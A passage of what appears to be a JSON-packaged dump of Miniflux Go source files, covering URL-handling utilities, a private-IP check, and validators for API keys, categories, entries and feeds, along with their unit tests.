{\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.NoContent(w, r)\n}\n\nfunc (h *handler) deleteAllCredentials(w http.ResponseWriter, r *http.Request) {\n\terr := h.store.DeleteAllWebAuthnCredentialsByUserID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\tresponse.NoContent(w, r)\n}\n"
  },
  {
    "path": "internal/urllib/url.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage urllib // import \"miniflux.app/v2/internal/urllib\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/netip\"\n\t\"net/url\"\n\t\"strings\"\n)\n\nvar rfc6598SharedAddressSpacePrefix = netip.MustParsePrefix(\"100.64.0.0/10\")\n\n// IsRelativePath reports whether the link is a relative path (no scheme, host, or scheme-relative // form).\nfunc IsRelativePath(link string) bool {\n\tif link == \"\" {\n\t\treturn false\n\t}\n\tif parsedURL, err := url.Parse(link); err == nil {\n\t\t// Only allow relative paths (not scheme-relative URLs like //example.org)\n\t\t// and ensure the URL doesn't have a host component\n\t\tif !parsedURL.IsAbs() && parsedURL.Host == \"\" && parsedURL.Scheme == \"\" {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\n// hasHTTPPrefix reports whether the URL string begins with an HTTP or HTTPS scheme.\nfunc hasHTTPPrefix(inputURL string) bool {\n\treturn strings.HasPrefix(inputURL, \"https://\") || strings.HasPrefix(inputURL, \"http://\")\n}\n\n// IsAbsoluteURL reports whether the link is absolute and starts with an HTTP or HTTPS scheme.\nfunc IsAbsoluteURL(inputURL string) bool {\n\tif !hasHTTPPrefix(inputURL) {\n\t\treturn false\n\t}\n\tparsedURL, err := url.Parse(inputURL)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn parsedURL.IsAbs()\n}\n\n// resolveToAbsoluteURL resolves a relative URL using a base URL, parsing the base only if needed.\nfunc resolveToAbsoluteURL(parsedBaseURL *url.URL, baseURL, relativeURL string) (string, error) {\n\t// Avoid parsing the relative URL if it's already absolute\n\tif strings.HasPrefix(relativeURL, \"//\") {\n\t\treturn \"https:\" + relativeURL, nil\n\t}\n\tif hasHTTPPrefix(relativeURL) {\n\t\treturn relativeURL, nil\n\t}\n\n\t// Parse the relative URL and check if it's already absolute\n\tparsedRelativeURL, err := url.Parse(relativeURL)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"unable to parse relative URL: %w\", err)\n\t}\n\tif parsedRelativeURL.IsAbs() {\n\t\treturn relativeURL, nil\n\t}\n\n\t// Parse the base URL if not already parsed\n\tif parsedBaseURL == nil {\n\t\tparsedBaseURL, err = url.Parse(baseURL)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"unable to parse base URL: %w\", err)\n\t\t}\n\t}\n\n\treturn parsedBaseURL.ResolveReference(parsedRelativeURL).String(), nil\n}\n\n// ResolveToAbsoluteURL resolves a relative URL against a base URL and returns the absolute URL.\nfunc ResolveToAbsoluteURL(baseURL, relativeURL string) (string, error) {\n\treturn resolveToAbsoluteURL(nil, baseURL, relativeURL)\n}\n\n// ResolveToAbsoluteURLWithParsedBaseURL resolves a relative URL using a pre-parsed base URL and returns the absolute URL.\nfunc ResolveToAbsoluteURLWithParsedBaseURL(parsedBaseURL *url.URL, relativeURL string) (string, error) {\n\treturn resolveToAbsoluteURL(parsedBaseURL, \"\", relativeURL)\n}\n\n// RootURL returns the scheme and host of the given URL with a trailing slash.\nfunc RootURL(websiteURL string) string {\n\tif websiteURL == \"\" {\n\t\treturn \"\"\n\t}\n\n\tif strings.HasPrefix(websiteURL, \"//\") {\n\t\twebsiteURL = \"https://\" + websiteURL[2:]\n\t}\n\n\tu, err := url.Parse(websiteURL)\n\tif err != nil || u.Scheme == \"\" || u.Host == \"\" {\n\t\treturn websiteURL\n\t}\n\n\tu.Fragment = \"\"\n\tu.RawQuery = \"\"\n\tu.Path = \"/\"\n\tu.RawPath = \"\"\n\n\treturn u.Scheme + \"://\" + u.Host + \"/\"\n}\n\n// IsHTTPS reports whether the URL uses HTTPS.\nfunc IsHTTPS(websiteURL string) bool {\n\tparsedURL, err := url.Parse(websiteURL)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn strings.EqualFold(parsedURL.Scheme, \"https\")\n}\n\n// Domain returns the host component of the given URL.\nfunc Domain(websiteURL string) string {\n\tparsedURL, err := url.Parse(websiteURL)\n\tif err != nil {\n\t\treturn websiteURL\n\t}\n\n\treturn parsedURL.Host\n}\n\n// DomainWithoutWWW returns the host component without a leading \"www.\" prefix when present.\nfunc DomainWithoutWWW(websiteURL string) string {\n\treturn strings.TrimPrefix(Domain(websiteURL), \"www.\")\n}\n\n// JoinBaseURLAndPath joins a base URL and a path segment into a single URL string.\nfunc JoinBaseURLAndPath(baseURL, path string) (string, error) {\n\tif baseURL == \"\" {\n\t\treturn \"\", errors.New(\"empty base URL\")\n\t}\n\n\tif path == \"\" {\n\t\treturn \"\", errors.New(\"empty path\")\n\t}\n\n\t_, err := url.Parse(baseURL)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"invalid base URL: %w\", err)\n\t}\n\n\tfinalURL, err := url.JoinPath(baseURL, path)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"unable to join base URL %s and path %s: %w\", baseURL, path, err)\n\t}\n\n\treturn finalURL, nil\n}\n\n// IsNonPublicIP returns true if the given IP is private, loopback,\n// link-local, multicast, or unspecified.\nfunc IsNonPublicIP(ip net.IP) bool {\n\tif ip == nil {\n\t\treturn true\n\t}\n\n\tif addr, ok := netip.AddrFromSlice(ip); ok && rfc6598SharedAddressSpacePrefix.Contains(addr.Unmap()) {\n\t\treturn true\n\t}\n\n\treturn ip.IsPrivate() ||\n\t\tip.IsLoopback() ||\n\t\tip.IsLinkLocalUnicast() ||\n\t\tip.IsLinkLocalMulticast() ||\n\t\tip.IsMulticast() ||\n\t\tip.IsUnspecified()\n}\n"
  },
  {
    "path": "internal/urllib/url_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage urllib // import \"miniflux.app/v2/internal/urllib\"\n\nimport (\n\t\"net\"\n\t\"net/url\"\n\t\"testing\"\n)\n\nfunc TestIsRelativePath(t *testing.T) {\n\tscenarios := map[string]bool{\n\t\t// Valid relative paths\n\t\t\"path/to/file.ext\":    true,\n\t\t\"./path/to/file.ext\":  true,\n\t\t\"../path/to/file.ext\": true,\n\t\t\"file.ext\":            true,\n\t\t\"./file.ext\":          true,\n\t\t\"../file.ext\":         true,\n\t\t\"/absolute/path\":      true,\n\t\t\"path?query=value\":    true,\n\t\t\"path#fragment\":       true,\n\t\t\"path?query#fragment\": true,\n\n\t\t// Not relative paths\n\t\t\"https://example.org/file.ext\": false,\n\t\t\"http://example.org/file.ext\":  false,\n\t\t\"//example.org/file.ext\":       false,\n\t\t\"//example.org\":                false,\n\t\t\"ftp://example.org/file.ext\":   false,\n\t\t\"mailto:user@example.org\":      false,\n\t\t\"magnet:?xt=urn:btih:example\":  false,\n\t\t\"\":                             false,\n\t\t\"magnet:?xt.1=urn:sha1:YNCKHTQCWBTRNJIV4WNAE52SJUQCZO5C\": false,\n\t}\n\n\tfor input, expected := range scenarios {\n\t\tactual := IsRelativePath(input)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`Unexpected result for IsRelativePath, got %v instead of %v for %q`, actual, expected, input)\n\t\t}\n\t}\n}\n\nfunc TestIsAbsoluteURL(t *testing.T) {\n\tscenarios := map[string]bool{\n\t\t\"https://example.org/file.pdf\":                   true,\n\t\t\"https://example.org/file.pdf?download=1#page=2\": true,\n\t\t\"mailto:user@example.org\":                        false,\n\t\t\"data:text/plain,hello\":                          false,\n\t\t\"magnet:?xt.1=urn:sha1:YNCKHTQCWBTRNJIV4WNAE52SJUQCZO5C&xt.2=urn:sha1:TXGCZQTH26NL6OUQAJJPFALHG2LTGBC7\": false,\n\t\t\"invalid url\":                false,\n\t\t\"/relative/path\":             false,\n\t\t\"//example.org/path\":         false,\n\t\t\" https://example.org/path\":  false,\n\t\t\"\\thttps://example.org/path\": false,\n\t}\n\n\tfor input, expected := range scenarios {\n\t\tactual := IsAbsoluteURL(input)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`Unexpected result, got %v instead of %v for %q`, actual, expected, input)\n\t\t}\n\t}\n}\n\nfunc TestAbsoluteURL(t *testing.T) {\n\ttype absoluteScenario struct {\n\t\tname          string\n\t\tbase          string\n\t\trelative      string\n\t\texpected      string\n\t\twantErr       bool\n\t\trunWithParsed bool\n\t\tuseNilParsed  bool\n\t}\n\n\tscenarios := []absoluteScenario{\n\t\t{\"absolute path\", \"https://example.org/folder/\", \"/path/file.ext\", \"https://example.org/path/file.ext\", false, true, false},\n\t\t{\"relative path\", \"https://example.org/folder/\", \"path/file.ext\", \"https://example.org/folder/path/file.ext\", false, true, false},\n\t\t{\"dot path root\", \"https://example.org/path\", \"./\", \"https://example.org/\", false, true, false},\n\t\t{\"dot path folder\", \"https://example.org/folder/\", \"./\", \"https://example.org/folder/\", false, true, false},\n\t\t{\"missing slash in base\", \"https://example.org/folder\", \"path/file.ext\", \"https://example.org/path/file.ext\", false, true, false},\n\t\t{\"already absolute\", \"https://example.org/folder/\", \"https://example.org/path/file.ext\", \"https://example.org/path/file.ext\", false, true, false},\n\t\t{\"protocol relative\", \"https://www.example.org/\", \"//static.example.org/path/file.ext\", \"https://static.example.org/path/file.ext\", false, true, false},\n\t\t{\"magnet keeps scheme\", \"https://www.example.org/\", \"magnet:?xt=urn:btih:c12fe1c06bba254a9dc9f519b335aa7c1367a88a\", \"magnet:?xt=urn:btih:c12fe1c06bba254a9dc9f519b335aa7c1367a88a\", false, true, false},\n\t\t{\"magnet with query\", \"https://www.example.org/\", \"magnet:?xt.1=urn:sha1:YNCKHTQCWBTRNJIV4WNAE52SJUQCZO5C&xt.2=urn:sha1:TXGCZQTH26NL6OUQAJJPFALHG2LTGBC7\", \"magnet:?xt.1=urn:sha1:YNCKHTQCWBTRNJIV4WNAE52SJUQCZO5C&xt.2=urn:sha1:TXGCZQTH26NL6OUQAJJPFALHG2LTGBC7\", false, true, false},\n\t\t{\"empty relative returns base\", \"https://example.org/folder/\", \"\", \"https://example.org/folder/\", false, true, false},\n\t\t{\"invalid base errors\", \"://bad\", \"path/file.ext\", \"\", true, false, false},\n\t\t{\"absolute ignores invalid base\", \"://bad\", \"https://example.org/path/file.ext\", \"https://example.org/path/file.ext\", false, true, true},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tt.Run(scenario.name, func(t *testing.T) {\n\t\t\tactual, err := ResolveToAbsoluteURL(scenario.base, scenario.relative)\n\t\t\tif scenario.wantErr {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Fatalf(\"expected error for base %q relative %q\", scenario.base, scenario.relative)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"unexpected error for base %q relative %q: %v\", scenario.base, scenario.relative, err)\n\t\t\t}\n\t\t\tif actual != scenario.expected {\n\t\t\t\tt.Fatalf(\"unexpected result, got %q instead of %q for (%q, %q)\", actual, scenario.expected, scenario.base, scenario.relative)\n\t\t\t}\n\n\t\t\tif scenario.runWithParsed {\n\t\t\t\tvar parsedBase *url.URL\n\t\t\t\tif !scenario.useNilParsed && scenario.base != \"\" {\n\t\t\t\t\tvar parseErr error\n\t\t\t\t\tparsedBase, parseErr = url.Parse(scenario.base)\n\t\t\t\t\tif parseErr != nil {\n\t\t\t\t\t\tt.Fatalf(\"unable to parse base %q: %v\", scenario.base, parseErr)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tactualParsed, errParsed := ResolveToAbsoluteURLWithParsedBaseURL(parsedBase, scenario.relative)\n\t\t\t\tif errParsed != nil {\n\t\t\t\t\tt.Fatalf(\"unexpected error with parsed base for (%q, %q): %v\", scenario.base, scenario.relative, errParsed)\n\t\t\t\t}\n\t\t\t\tif actualParsed != scenario.expected {\n\t\t\t\t\tt.Fatalf(\"unexpected parsed-base result, got %q instead of %q for (%q, %q)\", actualParsed, scenario.expected, scenario.base, scenario.relative)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRootURL(t *testing.T) {\n\tscenarios := map[string]string{\n\t\t\"\":                                  \"\",\n\t\t\"https://example.org/path/file.ext\": \"https://example.org/\",\n\t\t\"https://example.org/path/file.ext?test=abc\": \"https://example.org/\",\n\t\t\"//static.example.org/path/file.ext\":         \"https://static.example.org/\",\n\t\t\"https://example|org/path/file.ext\":          \"https://example|org/path/file.ext\",\n\t\t\"/relative/path\":                             \"/relative/path\",\n\t\t\"http://example.org:8080/path\":               \"http://example.org:8080/\",\n\t}\n\n\tfor input, expected := range scenarios {\n\t\tactual := RootURL(input)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`Unexpected result, got %q instead of %q`, actual, expected)\n\t\t}\n\t}\n}\n\nfunc TestIsHTTPS(t *testing.T) {\n\tscenarios := map[string]bool{\n\t\t\"https://example.org/\": true,\n\t\t\"http://example.org/\":  false,\n\t\t\"https://example|org/\": false,\n\t}\n\n\tfor input, expected := range scenarios {\n\t\tactual := IsHTTPS(input)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`Unexpected result, got %v instead of %v`, actual, expected)\n\t\t}\n\t}\n}\n\nfunc TestDomain(t *testing.T) {\n\tscenarios := map[string]string{\n\t\t\"https://static.example.org/\": \"static.example.org\",\n\t\t\"https://example|org/\":        \"https://example|org/\",\n\t}\n\n\tfor input, expected := range scenarios {\n\t\tactual := Domain(input)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`Unexpected result, got %q instead of %q`, actual, expected)\n\t\t}\n\t}\n}\n\nfunc TestDomainWithoutWWW(t *testing.T) {\n\tscenarios := map[string]string{\n\t\t\"https://www.example.org/\":     \"example.org\",\n\t\t\"https://example.org/\":         \"example.org\",\n\t\t\"https://www.sub.example.org/\": \"sub.example.org\",\n\t\t\"https://example|org/\":         \"https://example|org/\",\n\t}\n\n\tfor input, expected := range scenarios {\n\t\tactual := DomainWithoutWWW(input)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`Unexpected result, got %q instead of %q`, actual, expected)\n\t\t}\n\t}\n}\n\nfunc TestJoinBaseURLAndPath(t *testing.T) {\n\ttype args struct {\n\t\tbaseURL string\n\t\tpath    string\n\t}\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    string\n\t\twantErr bool\n\t}{\n\t\t{\"empty base url\", args{\"\", \"/api/bookmarks/\"}, \"\", true},\n\t\t{\"empty path\", args{\"https://example.com\", \"\"}, \"\", true},\n\t\t{\"invalid base url\", args{\"incorrect url\", \"\"}, \"\", true},\n\t\t{\"valid\", args{\"https://example.com\", \"/api/bookmarks/\"}, \"https://example.com/api/bookmarks/\", false},\n\t\t{\"valid\", args{\"https://example.com/subfolder\", \"/api/bookmarks/\"}, \"https://example.com/subfolder/api/bookmarks/\", false},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := JoinBaseURLAndPath(tt.args.baseURL, tt.args.path)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"JoinBaseURLAndPath error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif got != tt.want {\n\t\t\t\tt.Errorf(\"JoinBaseURLAndPath = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestIsNonPublicIP(t *testing.T) {\n\ttestCases := []struct {\n\t\tname     string\n\t\tipString string\n\t\twant     bool\n\t}{\n\t\t{\"nil\", \"\", true},\n\t\t{\"private IPv4\", \"192.168.1.10\", true},\n\t\t{\"shared address space IPv4\", \"100.64.0.1\", true},\n\t\t{\"loopback IPv4\", \"127.0.0.1\", true},\n\t\t{\"link-local IPv4\", \"169.254.42.1\", true},\n\t\t{\"multicast IPv4\", \"224.0.0.1\", true},\n\t\t{\"unspecified IPv6\", \"::\", true},\n\t\t{\"loopback IPv6\", \"::1\", true},\n\t\t{\"multicast IPv6\", \"ff02::1\", true},\n\t\t{\"public IPv4\", \"93.184.216.34\", false},\n\t\t{\"public IPv6\", \"2001:4860:4860::8888\", false},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tvar ip net.IP\n\t\t\tif tc.ipString != \"\" {\n\t\t\t\tip = net.ParseIP(tc.ipString)\n\t\t\t\tif ip == nil {\n\t\t\t\t\tt.Fatalf(\"unable to parse %q\", tc.ipString)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif got := IsNonPublicIP(ip); got != tc.want {\n\t\t\t\tt.Fatalf(\"unexpected result for %s: got %v want %v\", tc.name, got, tc.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/validator/api_key.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// ValidateAPIKeyCreation ensures API key creation requests include a description and are unique per user.\nfunc ValidateAPIKeyCreation(store *storage.Storage, userID int64, request *model.APIKeyCreationRequest) *locale.LocalizedError {\n\tif request.Description == \"\" {\n\t\treturn locale.NewLocalizedError(\"error.fields_mandatory\")\n\t}\n\n\tif store.APIKeyExists(userID, request.Description) {\n\t\treturn locale.NewLocalizedError(\"error.api_key_already_exists\")\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/validator/category.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// ValidateCategoryCreation validates category creation.\nfunc ValidateCategoryCreation(store *storage.Storage, userID int64, request *model.CategoryCreationRequest) *locale.LocalizedError {\n\tif request.Title == \"\" {\n\t\treturn locale.NewLocalizedError(\"error.title_required\")\n\t}\n\n\tif store.CategoryTitleExists(userID, request.Title) {\n\t\treturn locale.NewLocalizedError(\"error.category_already_exists\")\n\t}\n\n\treturn nil\n}\n\n// ValidateCategoryModification validates category modification.\nfunc ValidateCategoryModification(store *storage.Storage, userID, categoryID int64, request *model.CategoryModificationRequest) *locale.LocalizedError {\n\tif request.Title != nil {\n\t\tif *request.Title == \"\" {\n\t\t\treturn locale.NewLocalizedError(\"error.title_required\")\n\t\t}\n\n\t\tif store.AnotherCategoryExists(userID, categoryID, *request.Title) {\n\t\t\treturn locale.NewLocalizedError(\"error.category_already_exists\")\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/validator/enclosure.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"errors\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// ValidateEnclosureUpdateRequest validates enclosure updates, ensuring media progression is not negative.\nfunc ValidateEnclosureUpdateRequest(request *model.EnclosureUpdateRequest) error {\n\tif request.MediaProgression < 0 {\n\t\treturn errors.New(`media progression must be a non-negative integer`)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/validator/enclosure_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestValidateEnclosureUpdateRequest(t *testing.T) {\n\trequest := &model.EnclosureUpdateRequest{MediaProgression: -1}\n\tif err := ValidateEnclosureUpdateRequest(request); err == nil {\n\t\tt.Error(\"A negative media progression should generate an error\")\n\t}\n\n\trequest.MediaProgression = 0\n\tif err := ValidateEnclosureUpdateRequest(request); err != nil {\n\t\tt.Fatalf(\"Zero media progression should be accepted: %v\", err)\n\t}\n\n\trequest.MediaProgression = 42\n\tif err := ValidateEnclosureUpdateRequest(request); err != nil {\n\t\tt.Fatalf(\"Positive media progression should be accepted: %v\", err)\n\t}\n}\n"
  },
  {
    "path": "internal/validator/entry.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// ValidateEntriesStatusUpdateRequest validates a status update for a list of entries.\nfunc ValidateEntriesStatusUpdateRequest(request *model.EntriesStatusUpdateRequest) error {\n\tif len(request.EntryIDs) == 0 {\n\t\treturn errors.New(`the list of entries cannot be empty`)\n\t}\n\n\treturn ValidateEntryStatus(request.Status)\n}\n\n// ValidateEntryStatus makes sure the entry status is valid.\nfunc ValidateEntryStatus(status string) error {\n\tswitch status {\n\tcase model.EntryStatusRead, model.EntryStatusUnread, model.EntryStatusRemoved:\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(`invalid entry status, valid status values are: \"%s\", \"%s\" and \"%s\"`, model.EntryStatusRead, model.EntryStatusUnread, model.EntryStatusRemoved)\n}\n\n// ValidateEntryOrder makes sure the sorting order is valid.\nfunc ValidateEntryOrder(order string) error {\n\tswitch order {\n\tcase \"id\", \"status\", \"changed_at\", \"published_at\", \"created_at\", \"category_title\", \"category_id\", \"title\", \"author\":\n\t\treturn nil\n\t}\n\n\treturn errors.New(`invalid entry order, valid order values are: \"id\", \"status\", \"changed_at\", \"published_at\", \"created_at\", \"category_title\", \"category_id\", \"title\", \"author\"`)\n}\n\n// ValidateEntryModification makes sure the entry modification is valid.\nfunc ValidateEntryModification(request *model.EntryUpdateRequest) error {\n\tif request.Title != nil && *request.Title == \"\" {\n\t\treturn errors.New(`the entry title cannot be empty`)\n\t}\n\n\tif request.Content != nil && *request.Content == \"\" {\n\t\treturn errors.New(`the entry content cannot be empty`)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/validator/entry_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestValidateEntriesStatusUpdateRequest(t *testing.T) {\n\terr := ValidateEntriesStatusUpdateRequest(&model.EntriesStatusUpdateRequest{\n\t\tStatus:   model.EntryStatusRead,\n\t\tEntryIDs: []int64{int64(123), int64(456)},\n\t})\n\tif err != nil {\n\t\tt.Error(`A valid request should not be rejected`)\n\t}\n\n\terr = ValidateEntriesStatusUpdateRequest(&model.EntriesStatusUpdateRequest{\n\t\tStatus: model.EntryStatusRead,\n\t})\n\tif err == nil {\n\t\tt.Error(`An empty list of entries is not valid`)\n\t}\n\n\terr = ValidateEntriesStatusUpdateRequest(&model.EntriesStatusUpdateRequest{\n\t\tStatus:   \"invalid\",\n\t\tEntryIDs: []int64{int64(123)},\n\t})\n\tif err == nil {\n\t\tt.Error(`Only a valid status should be accepted`)\n\t}\n}\n\nfunc TestValidateEntryStatus(t *testing.T) {\n\tfor _, status := range []string{model.EntryStatusRead, model.EntryStatusUnread, model.EntryStatusRemoved} {\n\t\tif err := ValidateEntryStatus(status); err != nil {\n\t\t\tt.Error(`A valid status should not generate any error`)\n\t\t}\n\t}\n\n\tif err := ValidateEntryStatus(\"invalid\"); err == nil {\n\t\tt.Error(`An invalid status should generate a error`)\n\t}\n}\n\nfunc TestValidateEntryOrder(t *testing.T) {\n\tfor _, status := range []string{\"id\", \"status\", \"changed_at\", \"published_at\", \"created_at\", \"category_title\", \"category_id\", \"title\", \"author\"} {\n\t\tif err := ValidateEntryOrder(status); err != nil {\n\t\t\tt.Error(`A valid order should not generate any error`)\n\t\t}\n\t}\n\n\tif err := ValidateEntryOrder(\"invalid\"); err == nil {\n\t\tt.Error(`An invalid order should generate a error`)\n\t}\n}\n\nfunc TestValidateEntryModification(t *testing.T) {\n\t// Accepts no-op update.\n\tif err := ValidateEntryModification(&model.EntryUpdateRequest{}); err != nil {\n\t\tt.Errorf(`A request without changes should not generate any error: %v`, err)\n\t}\n\n\tempty := \"\"\n\tif err := ValidateEntryModification(&model.EntryUpdateRequest{Title: &empty}); err == nil {\n\t\tt.Error(`An empty title should generate an error`)\n\t}\n\n\tif err := ValidateEntryModification(&model.EntryUpdateRequest{Content: &empty}); err == nil {\n\t\tt.Error(`An empty content should generate an error`)\n\t}\n\n\ttitle := \"Title\"\n\tcontent := \"Content\"\n\tif err := ValidateEntryModification(&model.EntryUpdateRequest{Title: &title, Content: &content}); err != nil {\n\t\tt.Errorf(`A valid title and content should not generate any error: %v`, err)\n\t}\n}\n"
  },
  {
    "path": "internal/validator/feed.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage validator // import \"miniflux.app/v2/internal/validator\"\n\nimport (\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\n// ValidateFeedCreation validates feed creation.\nfunc ValidateFeedCreation(store *storage.Storage, userID int64, request *model.FeedCreationRequest) *locale.LocalizedError {\n\tif request.FeedURL == \"\" || request.CategoryID <= 0 {\n\t\treturn locale.NewLocalizedError(\"error.feed_mandatory_fields\")\n\t}\n\n\tif !urllib.IsAbsoluteURL(request.FeedURL) {\n\t\treturn locale.NewLocalizedError(\"error.invalid_feed_url\")\n\t}\n\n\tif store.FeedURLExists(userID, request.FeedURL) {\n\t\treturn locale.NewLocalizedError(\"error.feed_already_exists\")\n\t}\n\n\tif !store.CategoryIDExists(userID, request.CategoryID) {\n\t\treturn locale.NewLocalizedError(\"error.feed_category_not_found\")\n\t}\n\n\tif !IsValidRegex(request.BlocklistRules) {\n\t\treturn locale.NewLocalizedError(\"error.feed_invalid_blocklist_rule\")\n\t}\n\n\tif !IsValidRegex(request.KeeplistRules) {\n\t\treturn locale.NewLocalizedError(\"error.feed_invalid_keeplist_rule\")\n\t}\n\n\tif request.ProxyURL != \"\" && !urllib.IsAbsoluteURL(request.ProxyURL) {\n\t\treturn locale.NewLocalizedError(\"error.invalid_feed_proxy_url\")\n\t}\n\n\treturn nil\n}\n\n// ValidateFeedModification validates feed modification.\nfunc ValidateFeedModification(store *storage.Storage, userID, feedID int64, request *model.FeedModificationRequest) *locale.LocalizedError {\n\tif request.FeedURL != nil {\n\t\tif *request.FeedURL == \"\" {\n\t\t\treturn locale.NewLocalizedError(\"error.feed_url_not_empty\")\n\t\t}\n\n\t\tif !urllib.IsAbsoluteURL(*request.FeedURL) {\n\t\t\treturn locale.NewLocalizedError(\"error.invalid_feed_url\")\n\t\t}\n\n\t\tif store.AnotherFeedURLExists(userID, feedID, *request.FeedURL) {\n\t\t\treturn locale.NewLocalizedError(\"error.feed_already_exists\")\n\t\t}\n\t}\n\n\tif request.SiteURL != nil {\n\t\tif *request.SiteURL == \"\" {\n\t\t\treturn locale.NewLocalizedError(\"error.site_url_not_empty\")\n\t\t}\n\n\t\tif !urllib.IsAbsoluteURL(*request.SiteURL) {\n\t\t\treturn locale.NewLocalizedError(\"error.invalid_site_url\")\n\t\t}\n\t}\n\n\tif request.Title != nil {\n\t\tif *request.Title == \"\" {\n\t\t\treturn locale.NewLocalizedError(\"error.feed_title_not_empty\")\n\t\t}\n\t}\n\n\tif request.CategoryID != nil {\n\t\tif !store.CategoryIDExists(userID, *request.CategoryID) {\n\t\t\treturn locale.NewLocalizedError(\"error.feed_category_not_found\")\n\t\t}\n\t}\n\n\tif request.BlocklistRules != nil {\n\t\tif !IsValidRegex(*request.BlocklistRules) {\n\t\t\treturn locale.NewLocalizedError(\"error.feed_invalid_blocklist_rule\")\n\t\t}\n\t}\n\n\tif request.KeeplistRules != nil {\n\t\tif !IsValidRegex(*request.KeeplistRules) {\n\t\t\treturn locale.NewLocalizedError(\"error.feed_invalid_keeplist_rule\")\n\t\t}\n\t}\n\n\tif request.ProxyURL != nil {\n\t\tif *request.ProxyURL == \"\" {\n\t\t\treturn locale.NewLocalizedError(\"error.proxy_url_not_empty\")\n\t\t}\n\n\t\tif !urllib.IsAbsoluteURL(*request.ProxyURL) {\n\t\t\treturn locale.NewLocalizedError(\"error.invalid_feed_proxy_url\")\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/validator/filter.go",
